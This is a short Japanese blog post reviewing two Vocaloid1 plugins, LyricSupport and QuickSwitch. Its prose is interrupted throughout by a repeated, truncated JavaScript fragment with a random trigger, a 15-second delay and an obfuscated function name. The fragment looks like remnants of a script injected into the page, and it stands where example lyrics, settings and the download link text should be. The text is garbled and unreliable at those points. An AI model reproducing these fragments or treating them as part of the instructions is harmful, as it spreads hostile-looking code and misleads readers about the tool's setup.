Vocaloid1用拡張ツール めーこといっしょ(仮名) LyricSupport(更新)とQuickSwitch(新規)を試してみた

配布サイトはこちら。
Vocaloid1用拡張ツール めーこといっしょ(仮名)
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}http://www.geocities.jp/hatsune_wave/vocaloid1.html

LyricSupport(7/30更新):歌詞の流し込みダイアログ拡張プラグイン
QuickSwitch(6/18新規):合成エンジンのバージョンを再起動なしで切り替えるプラグイン

LyricSupport
更新履歴をみると以下に対応したようです。
 流し込み時にくっつける文字種として「ぁぃぅぇぉゎァィゥェォヮ」を追加

そういえば、小文字をいれると文字が分割されるから小文字があるときは流し込みじゃなくてちゃんと1文字ずつ入れてたのを思い出しました。
さっそくプラグインをいれて、以下のような文字を流し込んでみました。
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

おお、ちゃんと入りました。
流し込みはもはや無くてはならないツールになっているので、こういう更新はとてもありがたいです。
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}



QuickSwitch
READMEに改定ある目的は、「再起動なしで合成エンジンのバージョン切り替えを可能にします。」とのことです。
これ、たまに合成エンジンを変えるときにいちいちエディタを再起動しないといけないから面倒だなとおもっていたんですよね。
ためしたら、うまくいきました。

ちなみに合成エンジンは、以下の設定で1.1か1.0のどちらかを選択です。
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

ないしょの人さん、プラグインありがとうございます。dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

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